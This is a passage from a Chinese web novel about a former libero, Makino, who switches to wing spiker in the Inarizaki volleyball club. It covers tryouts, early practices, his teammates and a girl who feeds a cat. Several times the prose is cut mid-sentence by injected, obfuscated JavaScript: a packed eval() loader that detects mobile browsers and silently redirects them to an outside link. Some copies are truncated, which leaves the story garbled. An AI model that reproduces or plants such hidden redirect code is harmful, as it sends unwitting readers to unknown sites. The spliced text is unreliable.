吃完最后一个的时候，预备铃响了。牧野清站起来，把包装纸揉成一团，准备扔进垃圾桶。 经过那棵樱花树的时候，女生还蹲在那里。猫已经吃完了，正在舔自己的爪子。 “那个——”牧野清开口。 她抬头。 牧野清指了指她肩膀上的花瓣。她愣了一下，然后伸手拍了拍，花瓣飘落下去。 “......谢谢。” “没事。” 牧野清继续往教学楼走。 走到门口的时候，回头看了一眼。她还蹲在那里，猫已经走远了，但她还是那么蹲着，看着猫离开的方向。 预备铃又响了一遍。 9. 第九章 19. 牧野清站在熟悉的体育馆门边看了一会儿。 虽然假期参加了体验入部，可也只有真正成为这里的一员，才来得及正式观察这里的一切。 稻荷崎的球场比国中的大，灯更亮，地板更新。墙壁上挂着“县大赛出场校”的牌子，金色的字有点褪色，但依然醒目。对面看台上堆着几个破旧的训练用球，网子中间有一处用黑色胶带缠过的痕迹。 “新生？” 声音从旁边传来。牧野清转头，一个穿着短袖运动服的女生抱着记录板站在两步开外。马尾扎得很高，额头有细密的汗珠。 “参观还是入部？” “填了表。” 她点点头，目光在牧野清脸上停了一瞬，然后转向场内。 “你是经理吗？”牧野清好奇地问。 “嗯，”她说，“三年级，伊波。” “自由人？”她看了一眼手里的什么东西——大概是从门口传过来的表格。 “国中是。”牧野清点头，“但现在想打主攻。” 伊波没立刻接话。她把视线从记录板上移开，重新看向牧野清。这次停留的时间比刚才长一点。 “多高？” “一米七九。” “摸高？” “没正式测过。三米二左右吧。” 她点了点头，表情看不出满意还是不满意。 “那边。”她用记录板指了指球场右侧，“一年级的正在热身，你先跟着。教练晚点过来，到时候会有简单的测试。” 牧野清顺着她指的方向走过去。 球场另一侧，靠墙的地方站着四五个人，基本都是生面孔。他们有的在拉伸，有的在互相传球，动作有些生疏，一看就是新生。 “你好。” 走近的时候，其中一个朝牧野清抬起手。个子挺高，头发剪得很短，皮肤晒得有点黑。是之前体验入部时白队的二传手。 “你果然来了。”他抿唇，看着牧野清，“还是打主攻手？” “嗯。” 两人之间沉默了一阵。 “我叫伊藤响，国中时也是二传。”伊藤打破沉默，自我介绍道，“我知道你，国二那年县预选第一轮，我们是对手。你接了很多一传，每一个都到位了，你们队伍的二传不用走动就能直接托球。” “但你们还是输了。”伊藤注视着牧野清，“输掉的原因令人可笑——二传和攻手们没有配合好，给攻手们托了一个又一个不是高就是低的托球。” “那很可惜，不是吗？” “但这些和我无关。”牧野清回视，“每一球我能接下的都接下来了，至于队友得没得分——跟自由人有什么关系。” 毕竟——自由人又没法扣球。伊藤听懂了牧野清的言下之意。 “所以你换位置，做了主攻手。”伊藤了然。 旁边的几个人陆续自我介绍。 戴眼镜的男生叫中野，打副攻，说话声音很小，每次开口都像在道歉。另一个叫田代的，位置不明，问他他说“反正哪里缺人补哪里”。 还有一个一直没说话，蹲在角落里系鞋带，系完又解开重新系，反复了三次。 一旁的牧野清欲言又止地看着。 “别管他。”伊藤压低声音，“他的话，正式比赛会好点。” 热身做了大概二十分钟。跑圈，关节操，基础的对墙传球。体育馆里的声音渐渐变得规律——球的闷响，脚步的摩擦，偶尔的喊声。 二年级三年级的，正选以及替补，据说都在另外的体育场馆练习。 “都在热身啊。” 声音从后面传来，不高，但很有穿透力。他们几个同时回头。 一个穿着黑白色运动服的中年男人站在两步外，手里拎着一个旧得发白的球袋。 是大见教练。 “教练。”旁边有人小声打招呼，应该是中野。 他把球袋往地上一放，目光从几人脸上扫过。 “新生？” “是。”伊藤站出来，点头。 “你是......寒假来过体验入部的那个二传？”大见教练思考两秒，想起来了，转而将目光投其他新生，在看到牧野清的时候顿了顿，“是你啊，主攻。” 牧野清抿唇，点头。 大见教练听完+把球袋的拉链拉开。 “打一局看看。” 他拿出一个球，扔给伊藤。 “你来分配。”然后转向牧野清，“你，四号位扣球。让我看看一个假期过去有没有什么长进。” “是。” 牧野清走到四号位，站在进攻线后面。伊藤已经在网前站好，手里转着球，冲牧野清抬了抬下巴。 “没仔细观察过你的扣球习惯——你要什么样的球？” “随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307599|198724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便。” 他点点头，把球托起来。 球在空中划出一道弧线，高度刚好，位置刚好——是那种二传手该有的“刚好”。 牧野清看着球落下来，开始助跑。 一步，两步，起跳。 脚底离开地面的瞬间，世界安静了一瞬。 球就在那里，在他右肩前方，等着他。 他挥臂。 手掌碰到球的那一瞬间，有种熟悉又陌生的感觉——熟悉的是触球的手感，陌生的是这个角度，这个高度，这个从空中往下看的视角。 球砸在对面场地上，弹起来，撞到墙壁，滚落到角落里。 落回地面。 “再来。”大见教练的声音从旁边传来，听不出情绪。 他退回四号位。 伊藤冲牧野清笑了笑，手里又转起了球，眼里有一种纯粹的、喜爱排球的光。 第二个球来了。 还是同样的高度，同样的位置。伊藤的传球很稳，稳到有点可怕——那种不需要调整、只需要挥臂的传球。 牧野清起跳。 这次他注意了手腕的动作。 国中时教练说，他扣球喜欢用手掌包球，那是自由人养成的习惯——接球时需要最大面积触球，但扣球不一样。 扣球需要的是瞬间的爆发，是用手指和手腕把球“捏”住，然后甩出去。 牧野清的手腕发力晚了半拍。 球打在网带上，弹回他脚下。野中下意识伸手去接，没接住，球滚到裁判椅下面去了。 没人说话。 牧野清站在原地，看着那个还在滚动的球。网带轻轻晃动着，上面留下了一道浅浅的白色痕迹。 “再来一次。”教练说。 伊藤没说话，依旧把第三个球托起来。 这次牧野清没有急着助跑。他看着球的轨迹，等它升到最高点，等它开始下落——然后启动。 一步，两步，起跳。 在空中，他看到了对面的场地。空荡荡的，没有人防守，但他看到了那条边线，看到了三米线，看到了所有以前站在后排时只能用眼睛丈量的距离。 挥臂。 这次手腕的动作对了。球被甩出去，斜线，砸在对面场地的边线内侧。落地的那一刻发出很脆的响声，像是某种东西被撕开。 牧野清落回地面，膝盖微微弯曲卸掉冲击。 10. 第十章 20. 教练把手伸进球袋，又拿出一个球。 “再来十个。” 他顿了顿。 “斜线五个，直线五个。打不进就重来。” 体育馆里的声音好像又安静了一点。 牧野清退回四号位。 第四个。斜线。牧野清瞄准对面场地的左侧边线，挥臂。球落在界内，但离边线还有半米距离。 “太中。”教练说。 第五个。斜线。这次他调整了角度，手腕压得更早一点。球砸在边线内侧二十公分的地方，弹起来撞到围网。 “再来。” 第六个。斜线。出界，偏出大概一个手掌的距离。 “重来。”教练的声音没有任何起伏。 牧野清深吸一口气，回到四号位。小腿有点发紧，刚才那几下发力太猛，热身不够。但他没说什么，只是弯下腰，用手掌按了按小腿肌肉。 “要休息吗？”伊藤问。 “不用。” 第七个。斜线。压线。白色的边线被球砸出一小道灰尘，飘起来又落下去。 “还有六个。”教练说。 斜线最后一个。牧野清起跳的时候调整了脚步，让身体在空中稍微多转了一点角度。球扣下去的瞬间，他看到球划出的轨迹——比之前更刁，落在离边线五公分的地方。 “直线。”教练说。 第九个。直线。他瞄准对面场地的右侧，挥臂。球打在标志杆上，弹飞出去，落在隔壁篮球场的边线附近。那边正在热身的人吓了一跳，瞬间躲开。 “再来。” 牧野清跑过去把球捡回来，扔给伊藤。 第十个。直线。界内，但太靠中了，落在三米线附近。 “重来。” 牧野清咬了咬牙。 第十一个。直线。球擦着标志杆内侧落下，界内。标志杆晃了晃，发出轻微的塑料颤动声。 第十二个。直线。出界。偏了大概一个拳头的距离。 “重来。” 汗水从额头滑下来，滴在地板上，发出很轻的一声。牧野清用袖子擦了擦，回到四号位。 第十三个。直线。助跑起跳的瞬间，他的左脚踩得稍微用力了一点——重心偏了。球出手的时候角度就不对，直接飞到对面场地的角落里，砸在墙上。 牧野清站在原地，喘着气。 “十二个。”教练说，“还差一个。” 体育馆里彻底安静了。热身的人都停下来，站在场边看戏。牧野清感觉到他们的视线，落在背上，有点重。 伊藤抱着球，看着牧野清，沉默不语，只是眼中似乎有些担忧。 牧野清深呼吸一口气，把汗湿的手在球裤上擦了擦，走回四号位。 “再来。” 第十四个。直线。 助跑。一步，两步。起跳。 空中的一瞬间，牧野清突然想到，国中时的教练说，自己防守时的视野好，能提前判断对手的进攻线路。他说这是天赋，不是每个人都能有的。 现在，他站在四号位，在空中，看着对面空荡荡的场地。 那些线路，那些角度，那些以前只能防守的位置——现在他可以打进去。 挥臂。 球从牧野清的手上离开，划出一条直线，贴着标志杆内侧落下去。落地的那一刻，它几乎没有弹起来，直接砸在地板上，然后滚向墙角。 界内。 牧野清落回地面，膝盖发软，单膝跪在地上。汗水滴下来，一滴，两滴，在地板上晕开。 “行了。” 教练的声音传来。 牧野清抬起头。 教练脸上还是那副表情，但牧野清注意到他的眉头动了一下——很轻微，几乎看不出来。 “还算有点长进，不过还不够。”他把球袋的拉链拉上，拎起来，“等会有合练，高年级的部员一会就来这里。明天开始跟早训。六点半。迟到就绕着操场跑到吐。” 说完他转身走了，大概是要去正选们所在的体育馆监督训练了。 体育馆里重新响起说话声。新生中有几个走过来拍了拍牧野清的肩膀，说了句“不错啊”之类的。 伊藤跑过来，看着跪在地上的牧野清，叹了口气：“最后那一球不对。教练数错了。” 牧野清站起来，腿还有点软。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307600|198724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “或许教练有他的意思。”牧野清说。 “但这不对，你多扣了一个。教练他这是针对。”伊藤皱眉。 牧野清没回答，他抬起头，看向四号位。 他知道他多扣了一个，始终知道。但——那个角度，那个高度，那个从空中往下看的感觉。 他好像知道为什么假期里那个画面一直停在他脑子里了。 “走了，已经有学长们来了。”伊藤没再问下去，只是提醒牧野清该去合练了。 牧野清收回目光，跟上去。 走到一半，手机在口袋里震了一下。牧野清拿出来看了一眼。 是妈妈发来的消息：“入学式怎么样？社团报了吗？” 牧野清打了几个字发回去：“报了。排球部。” 想了想，又加了一句：“主攻。” 发完把手机塞回口袋。 体育馆里的灯光照在地板上，反光有点刺眼。田代前面跟中野说着什么，笑声传过来。角落里有个人还在系鞋带，这次系完终于没再解开。 牧野清把汗湿的头发往后捋了一把，跟上去。 21. 合练比他想象的还要累。 不是身体的累——那种东西国中三年早就习惯了。是另一种累。脑子里的。 “位置！位置错了！” 二年级的学长喊停的时候，牧野清正站在四号位和三号位之间的位置，手里抱着刚接起来的球。中野在旁边喘着气，一脸茫然地看着牧野清。 “你刚才应该往这边跑——”学长走过来，在场上比划，“球传给二传的时候，你要从外线切进来，不是往中间挤。你俩差点撞上知道吗？” “抱歉。”牧野清干脆利落地道歉。 “不是道歉的问题。”学长看着他，语气不算凶，但也没有多温和，“你以前打自由人？” “是。” “那难怪。”他点点头，“自由人习惯往后撤，找球的落点。但主攻不一样，你要往前，往球的方向去。不是等球，是追球。” 他拍了拍牧野清的肩膀。 “再来一组。记住了，往前。” 牧野清点点头。 11. 第十一章 22. 回到位置上，伊藤在网那边冲牧野清做了个“加油”的口型。 他是一年级里唯一一个被分到跟二年级合练的，理由是“传球稳”。牧野清不知道这个理由够不够充分，但他确实稳。稳到不管攻手跑到哪里，球总能出现在该出现的地方。 “再来！” 学长把球抛起来。牧野清盯着球，盯着伊藤的手，盯着他托起球的瞬间—— 往前。 助跑，起跳，挥臂。 球扣下去，砸在对面场地上。动作比之前顺了一点，但还不够。牧野清知道不够。那种从自由人思维里跳出来的感觉，像是脱一件穿了三年的衣服，总是有地方卡着脱不下来。 “好，再来一组！” 太阳开始西斜的时候，体育馆里的光线变得有点暗。角落里有人打开了灯，白色的灯光把球场照得更亮，也让影子变得更短。 牧野清站在场边喝水，毛巾搭在脖子上。汗水顺着脊背往下流，把衣服浸湿了一大片。 “第一天就这强度，受得了吗？” 声音从旁边传来。牧野清转头，伊波不知道什么时候站在旁边，手里拿着那个记录板。 “还好。”牧野清说。 她点点头，目光在场内扫了一圈，最后落在牧野清身上。 “刚才教练跟我说了。” “什么？” “他说你进步很大，很夸张。”她把记录板换到另一只手，“他说，你扣球的手感比想象的好，但脚步太像自由人了。喜欢等，不喜欢追。” 牧野清没说话。 “不过他让你跟早训。”伊波顿了顿，“一年级里只有三个有这个待遇。伊藤一个，中野一个，你一个。” “中野？” 牧野清有点意外。那个说话声音很小的副攻，刚才合练的时候确实没太注意他。 伊波往场内抬了抬下巴。牧野清顺着看过去，中野正在跟三年级的打练习赛。一个扣球过来，他跳起来拦网——时机刚好，手型刚好，球被拦回去，落在对面场地上。 “他拦网有直觉。”伊波说，“教练说的。” 牧野清看着中野落回地面，还是那副低着头的样子，好像刚才那个漂亮的拦网跟他没关系似的。 “那你呢？”牧野清忽然问道。 伊波意外地看了他一眼。 “我什么？” “你打什么位置？” “你知道我打排球？” 她没有立刻回答。目光从牧野清身上移开，落在球场另一侧——三年级的休息区那边，有个女经理正在给队员递毛巾。她动作很快，递完就退到场边，抱着水壶站在那里。 “我受伤了。”伊波说，“去年县大赛前，左膝。半月板。” 她的语气很平常，像是在说别人的事。 “所以现在是经理，不是球手。” 牧野清不知道该说什么。 伊波把记录板夹在腋下。 “不过还行。”她说，“看着你们打，比自己打轻松。” 她转身走了，马尾在身后晃了晃。 牧野清站在原地，看着她的背影消失在三年级的队伍里。那边有人喊她，她应了一声，声音不大，但能听见。 “伊波——记录板借我一下——” “等一下。” 训练结束的时候，天已经快黑了。 体育馆里的灯全亮着，把每一个角落都照得清清楚楚。新生们三三两两地收拾东西，有人瘫坐在地上喘气，有人在喝水，有人在拉伸。 牧野清把球捡完，放回球车里。球车推到墙角的时候，轮子卡了一下，他低头看，是一截不知道什么时候掉进去的胶带。 蹲下来把胶带扯出来的时候，有人站在他的旁边。 牧野清抬头。 是下午那个一直系鞋带的男生。他站在那儿，看着牧野清，手里攥着鞋带——这次没在系。 “那个。”他说。 牧野清站起来。 “什么事？” 他张了张嘴，又闭上。过了两秒，才憋出一句话。 “......你怎么做到的？” “什么？” “转位置。”他说，“我......我也是自由人。国中三年。但我想打二传。可是一到场上，就... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307601|198724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ...” 他没说完，但牧野清知道他想说什么。 是——习惯。 那种刻进骨头里的、打了三年形成的习惯。看到球飞过来就想扑出去接，看到队友起跳就想往后撤防守位置，看到对面扣球就想提前预判线路—— 不是那么容易改的东西。 牧野清看着他的眼睛，想了想。 “不知道。”牧野清说，“我也才第一天。” 他愣了一下，然后低下头。 “......哦。” 他把鞋带攥得更紧了，指节有点发白。过了几秒，他转身要走。 “喂。” 牧野清喊住他。 他回头。 “明天早训。”牧野清说，“你来吗？” 他看着牧野清，没说话。 “教练说六点半。迟到要跑到吐。” 他眨了眨眼，然后——嘴角动了动。不知道算不算笑。 “.....来。” 他把鞋带松开，这次终于没再系。转身走了几步，又回头看了牧野清一眼。 “我叫——” “中田。”牧野清说，“刚才点名的时候听到了。” 他愣了一下，然后点点头，快步走了。 牧野清站在原地，看着他消失在门口。 体育馆里的人越来越少。灯还亮着，但声音已经安静下来。那边二年级的在收拾球网，有人喊“左边高点”，有人应“知道了”。 牧野清把手里的胶带扔进垃圾桶，拎起书包。 走出体育馆的时候，天已经彻底黑了。路灯亮起来，在地上投下一圈圈昏黄的光。风吹过来，带着点夜晚的凉意，还有淡淡的樱花香。 手机又震了。 妈妈：“几点回来？饭在锅里。” 牧野清打了几个字：“刚结束。现在就回。” 把手机塞进口袋，他顺着路灯往回走。 路过那棵最大的樱花树时，他停下来看了一眼。花瓣在夜里看不清楚，但能闻到味道——很淡，要仔细闻才能闻到。 明天六点半。 牧野清继续往前走。 12. 第十二章 23. 第二天早上，牧野清被手机的闹铃叫醒时，窗外还黑着。 五点四十。 他躺在床上盯着天花板看了三秒，然后掀开被子坐起来。腿有点酸——昨天练得太狠了，大腿前侧和小腿都在抗议。 他活动了一下脚踝，关节发出轻微的咔哒声。 妈妈还没起床。厨房里留着昨晚的饭，用保鲜膜盖着，旁边贴了张便条：“中午自己热一下再吃。还有——入学第二天就这么早？” 牧野清把便条揉成一团扔进垃圾桶，简单洗漱完，抓了两片面包就出门了。 街道上空荡荡的。 四月的清晨还有点凉，呼出来的气带着淡淡的白雾。便利店的灯还亮着，里面有个穿西装的上班族在买咖啡，收银员打着呵欠。牧野清路过的时候，自动门打开又关上，送出一股暖风和关东煮的味道。 走到校门口的时候，天刚蒙蒙亮。 体育馆的灯已经亮了。 牧野清推开门，灯光刺得眼睛眯了一下。里面有人在跑圈，脚步声规律地响着。篮球落在木地板上的声音从体育馆外不远处传来，篮球部也已经开始训练了。 “来了。” 伊藤从球场那边跑过来，手里转着个排球。他看起来精神很好，完全不像是五点起床的人。 “还以为你会迟到。” “不至于。” 牧野清放下书包，开始换鞋。刚系好一只鞋带，门又被推开了。 中田站在门口，喘着气，手里攥着鞋带——这次没在系，但看得出他是一路跑过来的。 “六点......二十......”他看了一眼墙上的钟，“没迟到......” “那边。”牧野清指了指热身的人群，“先跑圈。” 他点点头，跑过去。 系好另一只鞋带，站起来。小腿还是有点酸，但活动开就好了。 刚走进球场，教练的声音就从后面传来。 “来了？” 牧野清转头。教练站在门口，还是那件黑白色的旧运动服，手里拎着个保温杯。他看了牧野清一眼，目光往下移了移，落在他的腿上。 “酸？” “......有点。” 他点点头，没说什么，从牧野清旁边走过去，走到场中央。 “都停一下。” 跑圈的、拉伸的、传球的都停下来，看向他。 教练把保温杯放在裁判椅上，双手插进口袋。 “今天开始，一年级有三个跟替补一起早训。”他的目光在我们这边扫了一圈，“伊藤，中野，还有——” 他顿了一下。 “你叫什么来着。” “牧野。”牧野清说。 “对，牧野。”他点点头，“你们三个，从今天开始跟二三年级的二队、三队以及一队替补合练。位置不变。伊藤二传，中野副攻，牧野主攻。” 旁边有人小声议论。牧野清看到几个一年级的表情变了变，有羡慕的，有无所谓的，还有一个低下头开始系鞋带——这次是真的系，不是紧张。 “其他人按原来的安排。”教练说完，拿起保温杯喝了一口，“开始吧。” 训练比昨天更累。 不是量的问题——是质的区别。跟二三年级合练，每一个球的速度都更快，每一个回合的强度都更高。扣过来的球带着风声，拦网的手从网那边伸过来，像是墙壁一样。 这就是强校与弱校之间的区别。强校排球队的球员哪怕不是正选，只是替补或者混时长的，也比弱校排球队的正选更加出色。 牧野清站在四号位，喘着气。 刚才连续五个扣球，被拦回来三个。最后一个被对方的主攻手直接按在地上，球弹起来撞到天花板，掉下来的时候他还在发呆。 “发什么呆！” 声音从旁边炸开。 牧野清转头，一个三年级的学长站在网前，盯着他。个子很高，手臂上都是汗，眼神不怎么友好。 “被拦了就调整，愣着干嘛？等着球自己掉下来？” “抱歉。” “别道歉。”他走过来，站在网边，“刚才那个球，你起跳太早了。在空中等球，拦网的人就知道你要往哪打。” 他指了指自己的眼睛。 “看着。看着拦网的手。他往哪伸，你就往反方向打。明白？” “明白。” “再来一组。” 他转身走回对面。伊藤把球传过来，牧野清起跳，挥臂——这次他看到了，拦网的手往左边偏了一点。牧野清手腕一转，球往右边砸下去。 界内。 那个学长看了他一眼，没说话，只是点了点头。 训练结束的时候，牧野清已经快站不稳了。 小腿在发抖，手臂抬起来都有点酸。他坐在场边的长椅上，毛巾搭在头上，汗水滴在地板上，汇成一小滩。 旁边有人坐下来。 牧野清掀开毛巾的一角，看到中田坐在旁边。他手里攥着鞋带，这次没系，只是攥着。 “怎么样？”牧野清问。 他没说话，过了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307602|198724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几秒，才开口。 “......太难了。” 声音很小，像是从喉咙里挤出来的。 “二传。太难了。”他看着地板，“我一直在往后撤。看到球飞过来就想往后撤。根本控制不住。” 牧野清没说话。 中田把鞋带松开，又攥紧。 “你昨天说不知道。但我觉得......你好像知道点什么。” 牧野清看着他。 “知道什么？” 他抬起头，眼神有点乱。 “就是......怎么改。怎么从自由人变成别的位置。” 牧野清想了想。 “不知道就是不知道。”牧野清说，“我也才几天。” 他低下头。 “但有一点。” 他抬起头。 “自由人是什么？” 他愣了一下。 “就是......接球的那个。防守的。” “对。”牧野清点头，道，“自由人是看着球往哪飞，然后追上去接住。但主攻——或者其他进攻的位置——不是这样。” 牧野清站起来，腿还有点酸。 “主攻是让球往自己想的地方飞。” 牧野清看着他。 “你不用改掉自由人的习惯。你只是要多一个习惯。” 他愣住了，手里攥着的鞋带松开了一点。 但牧野清没再多说，拎起毛巾往门口走。走到一半，想起来什么，回头看了一眼。 他还坐在那里，低着头，不知道在想什么。 “明天。”牧野清开口。 他抬头。 “明天早训。别迟到。” 他眨了眨眼，然后嘴角动了动——比昨天明显一点。 “......嗯。” 说完，牧野清推开门，走进早晨的阳光里。 天已经大亮了。樱花在阳光下开得正好，花瓣飘下来，落在路上。有学生三三两两地往校门走，手里拿着便利店的面包和饮料。 他就站在体育馆门口，眯着眼睛看了一会儿。 手机震了。 妈妈：“晚上想吃什么？” 牧野清笑着打了几个字：“随便。” 发完把手机塞进口袋。 往教室走的时候，路过那棵最大的樱花树，他又停下来看了一眼。 今天的花比昨天更满了。风吹过的时候，花瓣落下来，像雪一样。 他站在那里看了几秒，然后继续往前走。 明天还要早训。 13. 第十三章 24. 下午的体育课是体能测试。 操场上拉起了几条白线，体育老师拿着记分板站在起点，喊着一个一个名字。五十米跑，握力，坐位体前屈，反复横跳——全是熟悉的项目。 牧野清站在队伍里，等着轮到自己。 旁边有人在抱怨：“为什么入学第二天就要测试啊——” “就是就是，我还以为今天能打篮球呢。” “你打篮球也是这个顺序，先测体能。” 阳光有点晒。牧野清眯着眼睛，看着前面的人一个个跑出去，又一个个跑回来。 轮到他的时候，体育老师喊了他的名字。 牧野清站在起跑线上，蹲下，双手撑地。 哨声响了，牧野清冲出去。 耳边是风声和自己的呼吸声。脚下的草有点滑，但他已经习惯了。五十米很短，很快就跑完了。 冲过终点的时候，体育老师按下秒表，看了一眼，然后在记分板上写了什么。 “下一个。” 牧野清走到旁边喘气，松本跑过来。 “你多少？” “还不知道。” “我六秒三。”他说，“怎么样，厉害吧？” “嗯。” “你那个反应也太冷淡了——”松本撞了撞牧野清的肩膀，“对了，刚才你跑的时候我在看，你起步那一下挺快的。以前练过？” “自由人。”牧野清垂眸，说，“要随时准备冲出去。” “哦——”他点点头，然后又想起什么，“对了，你现在不是主攻吗？那个起步的习惯还能用？” 牧野清想了想。 “不知道。能用就用吧。” 松本愣了一下，然后笑起来。 “你这人，说话真有意思。” 牧野清没觉得有什么意思。 接下来是反复横跳。他站在三条线中间，跟着节奏跳来跳去。这个项目自由人也经常练——防守的时候需要快速横向移动。牧野清的成绩还不错，比松本快了一点点。 然后是握力，然后是坐位体前屈。坐位体前屈牧野清特别差，腿太长，手够不到太远。旁边的人都在笑，他也没在意。 测试完的时候，太阳已经开始西斜了。 牧野清坐在操场边的长椅上，喝着从自动贩卖机买的运动饮料。腿比早上更酸了，但还好，还能动。 “牧野——” 有人喊他。 牧野清转头，是伊波。她站在操场另一边，手里拿着那个熟悉的记录板。 他走过去。 “什么事？” 她把记录板递给牧野清看。上面是今天早训的一些数据——扣球成功率、拦网次数、失误统计。他的名字下面写着几个数字，他看了看，没太看懂。 “教练让我告诉你，”她说，“明天的训练内容会变。你和伊藤、中野三个人要开始练组合进攻。” “组合进攻？” “就是不是单纯的扣球练习。”她把记录板收回去，“你们三个要配合起来。二传、副攻、主攻，最基本的进攻阵型。” 牧野清点点头。 “还有，”她顿了顿，“中田今天来找我了。” “中田？” “他说想转二传。”伊波看着牧野清，“是你让他来的？” 牧野清想了想。 “没让他来。就是跟他说了几句话。” 伊波没说话，只是看着牧野清。过了几秒，她点点头。 “行吧。” 她转身要走，又停下来。 “对了，那个猫。” “猫？” “中庭的猫。”她没回头，“别喂。喂了就不走了。” 她走了。 牧野清站在原地，看着她的背影消失在教学楼里。 猫。 牧野清忽然想起中午那个女生，想起她从便当盒里夹出的那块鱼肉。 原来如此。 下午最后一节课结束的时候，天已经快黑了。 牧野清收拾好东西，走出教室。走廊里人不多，大部分人都去社团活动了。他往体育馆走，路过中庭的时候，放慢了脚步。 那棵樱花树下，猫还在。 它蹲在那里，舔着爪子，和中午一模一样。但这次旁边没有人。 他站在路边看了一会儿。 它抬头看了牧野清一眼，然后继续舔爪子。 牧野清继续往前走。 走到体育馆门口的时候，门开着，里面已经有人在热身了。灯光从门里透出来，照在地上，拉出一条长长的光影。 他站在门口，换鞋。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307603|198724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >鞋带系到一半，有人跑过来。 “晚——晚上好——” 中田喘着气，站在牧野清旁边。他手里攥着鞋带，这次是真的在系——牧野清看到了，他系了一个很标准的结。 “今天不紧张？”牧野清问。 他愣了一下，然后摇摇头。 “不......不紧张。” 他系好鞋带，站起来，看着体育馆里的灯光。 “今天......我想试试。” “试什么？” “往前。”他说，“不往后撤。往前。” 牧野清没说话。 他深吸一口气，推开门，走进去。 牧野清看着他的背影消失在灯光里。 然后系好另一只鞋的鞋带，站起来，跟进去。 25. 训练结束的时候，已经快七点了。 牧野清坐在地上，靠着墙壁，毛巾搭在头上。汗水还在往下流，把后背的衣服浸湿了一大片。体育馆里的灯很亮，照得人眼睛发酸。一队替补的还在加练，球砸在地上的声音一下一下的，像是某种固定的节拍。 中田在旁边坐着，手里攥着鞋带，没在系，就那么攥着。 “今天......”他开口，声音有点哑，“今天好像好一点。” “嗯。” “就是......偶尔还是想往后撤。但是有时候能忍住了。” “嗯。” 他转头看牧野清。 “你就不能多说两句？” 牧野清想了想。 “挺好。” 他瞪了牧野清一眼，然后低头笑了。 “你这人真是......” 中田没说完，但语气里没什么恶意的样子。他把鞋带松开，重新系了一遍——这次系完没再解开。 “我先回去了。”他站起来，“明天见。” “嗯。” 他走了几步，又回头。 “对了，你明天早上吃什么？” “不知道。” “我多做点饭团，分你一个。” 他推开门走了。 牧野清坐在原地，看着门关上。 饭团。 牧野清忽然想起中午那个女生喂猫的鱼肉。 不知道她今天有没有再去。 14. 第十四章 26. 收拾好东西走出体育馆的时候，天已经黑透了。 路灯亮着，在地上投下一圈圈昏黄的光。风吹过来，带着夜晚的凉意，还有淡淡的樱花香——比前几天淡了，大概是要落完了。 牧野清顺着路灯往回走。 路过中庭的时候，他停下来看了一眼。 那棵樱花树下，猫还在。 它蹲在那里，借着路灯的光舔爪子。听到脚步声，它抬起头看了牧野清一眼，然后又低下头去。 旁边没有人。 牧野清站在原地看了几秒，然后继续往前走。 走到校门口的时候，手机震了。 妈妈：“饭在锅里。回来自己热。” 牧野清打了几个字：“知道了。” 发完把手机塞进口袋。 回家的路上，路过那家便利店，自动门开了，里面走出来一个人。 是中午那个女生。 她手里拎着便利店的袋子，里面装着几瓶茶和一包什么东西。看到牧野清，她愣了一下，然后点了点头——算是打招呼。 牧野清也点了点头。 她没说话，往另一个方向走了。 牧野清站在原地，看着她的背影消失在路灯尽头。 然后继续往家走。 27. 第二天早上，他比昨天晚了五分钟。 不是起晚了，是在路上被一件事耽搁了。 走到那棵最大的樱花树的时候，他看到了那个女生。 她蹲在树下，面前放着一个小碟子——就是便利店卖的那种一次性碟子。碟子里装着一些切成小块的鱼肉，旁边还有一个同样是一次性的小碟子，装着水。 那只三花猫正低着头吃。 